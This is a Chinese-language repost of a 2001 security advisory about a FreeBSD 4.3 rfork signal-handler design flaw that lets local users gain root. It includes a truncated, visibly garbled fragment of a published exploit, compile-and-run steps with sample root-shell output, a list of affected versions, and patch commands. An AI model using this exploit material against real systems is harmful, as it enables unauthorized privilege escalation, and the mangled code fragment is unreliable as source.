本地攻击者利用FreeBSD4.3设计漏洞取得系统特权

所属分类: 实用技巧 / 网络冲浪 阅读数: 1231
收藏 0 赞 0 分享

发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。问题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。
利用此漏洞,本地攻击者能取得 root 权限。
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
-------------vvfreebsd.c----------------------
/}
}
printf("vvfreebsd. Written by Georgi Guninski\n");
printf("shall jump to %x\n",vv1);
if(!(pid=rfork(RFPROC|RFSIGSHARE)))
{
printf("child=%d\n",getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
// if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
kill(pid,MYSIG);
printf("done\n");
while(42);
}
...............................
.........................
.............
受影响版本:
FreeBSD 4.3 4.2 4.1 4.0
早期版本也许受影响
解决方案:
尚无
****** 2001-07-14 add by NetDemon(netdemon@20cn.net) ******
测试程序使用方法:
netdemon%gcc -o vvbsd vvbsd.c
netdemon%cp /bin/sh /tmp
netdemon%./vvbsd
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe71
child=61056
login:
login: # done
#
FreeBSD以此作出补丁
方法:
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch.asc
# cd /usr/src/sys/kern
# patch -p < /path/to/patch
更多精彩内容其他人还在看

如何利用网桥功能实现有线上网

如何利用网桥功能实现有线上网
收藏 0 赞 0 分享

实战宽带ADSL防火墙配置

实战宽带ADSL防火墙配置
收藏 0 赞 0 分享

局域网的限制技术和反限制技巧

局域网的限制技术和反限制技巧
收藏 0 赞 0 分享

常见的网上邻居访问问题精解

常见的网上邻居访问问题精解
收藏 0 赞 0 分享

经验:实战无线网络的组建

经验:实战无线网络的组建
收藏 0 赞 0 分享

小规模DDoS用Freebsd+IPFW搞定

小规模DDoS用Freebsd+IPFW搞定
收藏 0 赞 0 分享

教你如何打造黑客也读不懂的安全密码

这篇文章主要介绍了教你如何打造黑客也读不懂的安全密码
收藏 0 赞 0 分享

QQ程序文件详解及一些特别用法

QQ程序文件详解及一些特别用法
收藏 0 赞 0 分享

电脑端口基础知识

电脑端口基础知识
收藏 0 赞 0 分享

bit,bytes 是什么意思?

bit,bytes 是什么意思?
收藏 0 赞 0 分享
查看更多